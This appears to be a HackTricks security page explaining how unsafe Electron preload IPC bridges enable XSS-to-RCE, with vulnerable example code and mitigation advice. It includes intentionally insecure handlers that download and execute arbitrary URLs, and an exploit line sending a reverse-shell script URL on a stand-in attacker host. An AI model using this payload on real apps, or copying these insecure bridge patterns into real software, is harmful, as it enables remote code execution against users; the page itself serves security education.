// HackTricks · Network Services

Electron contextIsolation RCE via IPC

Electron contextIsolation RCE via IPC

Context isolation does not make an unsafe preload bridge safe. If a preload exposes privileged IPC to renderer content, an XSS or compromised renderer can call that bridge; RCE then depends on the validation and capabilities of the corresponding main-process handler. Electron recommends exposing one narrow method per operation, validating IPC senders, and never exposing raw IPC primitives.[3][4]

Most of these examples were taken from here https://www.youtube.com/watch?v=xILfQGkLXQo. Check the video for further information.[1]

Example 0

Example from https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 (you have the full example of how MS Teams was abusing from XSS to RCE in those slides, this is just a very basic example):[2]

Example 1

Check how the main.js listens on getUpdate and will download and execute any URL passed.
Check also how preload.js exposes any IPC event from main.

// Part of code of main.js
ipcMain.on("getUpdate", (event, url) => {
  console.log("getUpdate: " + url)
  mainWindow.webContents.downloadURL(url)
  mainWindow.download_url = url
})

mainWindow.webContents.session.on(
  "will-download",
  (event, item, webContents) => {
    console.log("downloads path=" + app.getPath("downloads"))
    console.log("mainWindow.download_url=" + mainWindow.download_url)
    url_parts = mainWindow.download_url.split("/")
    filename = url_parts[url_parts.length - 1]
    mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
    console.log("downloadPath=" + mainWindow.downloadPath)
    // Set the save path, making Electron not to prompt a save dialog.
    item.setSavePath(mainWindow.downloadPath)

    item.on("updated", (event, state) => {
      if (state === "interrupted") {
        console.log("Download is interrupted but can be resumed")
      } else if (state === "progressing") {
        if (item.isPaused()) console.log("Download is paused")
        else console.log(`Received bytes: ${item.getReceivedBytes()}`)
      }
    })

    item.once("done", (event, state) => {
      if (state === "completed") {
        console.log("Download successful, running update")
        fs.chmodSync(mainWindow.downloadPath, 0755)
        var child = require("child_process").execFile
        child(mainWindow.downloadPath, function (err, data) {
          if (err) {
            console.error(err)
            return
          }
          console.log(data.toString())
        })
      } else console.log(`Download failed: ${state}`)
    })
  }
)
// Part of code of preload.js
window.electronSend = (event, data) => {
  ipcRenderer.send(event, data)
}

Exploit:

<script>
  electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
</script>

Example 2

If the preload exposes shell.openExternal without scheme and destination validation, renderer-controlled input can launch registered external handlers. Whether that becomes code execution depends on the platform, installed handlers, scheme, and Electron version; restrict it to an explicit allowlist of expected https: destinations.[3]

// Part of preload.js code
window.electronOpenInBrowser = (url) => {
  shell.openExternal(url)
}

Example 3

If the preload exposes unrestricted communication with the main process, an XSS can send arbitrary channel names and data. The impact depends on the registered IPC handlers and their authorization checks.

window.electronListen = (event, cb) => {
  ipcRenderer.on(event, cb)
}

window.electronSend = (event, data) => {
  ipcRenderer.send(event, data)
}

References